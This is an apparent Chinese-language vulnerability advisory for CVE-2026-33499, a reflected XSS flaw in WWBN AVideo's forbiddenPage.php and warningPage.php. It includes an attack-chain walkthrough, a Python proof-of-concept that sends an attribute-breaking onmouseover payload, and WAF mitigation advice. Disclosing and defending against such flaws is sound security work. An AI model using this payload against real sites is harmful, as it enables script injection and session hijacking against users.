CVE-2026-33499 CVSS 6.1 中危

CVE-2026-33499: AVideo 反射型XSS漏洞

披露日期: 2026-03-23

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-33499

漏洞类型

XSS (跨站脚本攻击)

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WWBN AVideo

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0及以下版本中，系统存在一个反射型跨站脚本（XSS）漏洞。该问题出现在`view/forbiddenPage.php`和`view/warningPage.php`模板文件中，由于未对`$_REQUEST['unlockPassword']`参数进行适当的输出编码或清理，直接将其反射到HTML `<input>`标签的属性中。攻击者可构造恶意链接，诱导受害者点击，从而在受害者浏览器中执行任意JavaScript代码，窃取会话凭证或进行其他恶意操作。

技术细节

该漏洞的根本原因在于服务端对用户输入参数缺乏严格的输出编码机制。具体而言，当用户访问特定页面时，应用程序直接从`$_REQUEST`全局变量中获取`unlockPassword`参数的值，并将其未经任何过滤直接嵌入到HTML页面的`<input>`标签的`value`属性中。由于未进行HTML实体编码，攻击者可以通过注入双引号（`"`）提前闭合属性值，随后插入恶意的HTML属性（如`onmouseover`、`onfocus`等）以及JavaScript代码。攻击向量为网络（AV:N），无需认证（PR:N），但需要一定的用户交互（UI:R），即受害者需要点击攻击者构造的恶意链接。一旦受害者访问该链接，注入的脚本将在其浏览器上下文中执行。虽然CVSS评分为6.1（中危），但在配合社会工程学攻击的情况下，该漏洞可用于窃取用户会话Cookie、执行恶意操作或进行钓鱼攻击，对用户数据安全构成威胁。

攻击链分析

STEP 1

侦察

攻击者确认目标站点使用的是WWBN AVideo平台，且版本低于或等于26.0。

STEP 2

武器化

攻击者构造包含恶意JavaScript代码的Payload，利用双引号闭合HTML标签属性，例如：`?unlockPassword=test" onmouseover="alert(1)`。

STEP 3

投递

攻击者通过电子邮件、即时通讯或社交媒体将精心构造的恶意URL发送给目标受害者。

STEP 4

利用

受害者点击链接访问页面，由于参数未经过滤直接回显到页面HTML中，恶意脚本被注入。

STEP 5

执行与后果

当受害者在页面上进行交互（如鼠标悬停）时，恶意脚本执行，可能导致Cookie窃取或会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# Proof of Concept for CVE-2026-33499
# The vulnerability exists in 'view/forbiddenPage.php' and 'view/warningPage.php'
# The 'unlockPassword' parameter is reflected unsanitized into an input value attribute.

import requests

target_url = "http://example.com/view/forbiddenPage.php"

# Payload breaks out of the value attribute using double quote and injects an onmouseover event handler
payload = 'test" onmouseover="alert(1)'

params = {
    "unlockPassword": payload
}

# Construct the malicious URL
malicious_link = f"{target_url}?unlockPassword={payload}"
print(f"[+] Generated Malicious Link: {malicious_link}")

# Explanation of the resulting HTML:
# The server will generate: <input ... value="test" onmouseover="alert(1)">
# When a victim hovers over the input field, the alert(1) JavaScript executes.

try:
    response = requests.get(target_url, params=params, timeout=5)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check the browser behavior on hover.")
except Exception as e:
    print(f"[-] Error occurred: {e}")

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施

建议立即升级至官方修复版本。若无法立即升级，应在Web应用防火墙（WAF）中部署规则，拦截包含常见XSS攻击特征（如`onmouseover`、`onerror`、`javascript:`）的请求参数，并对`unlockPassword`参数实施严格的输入验证和输出转义处理。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表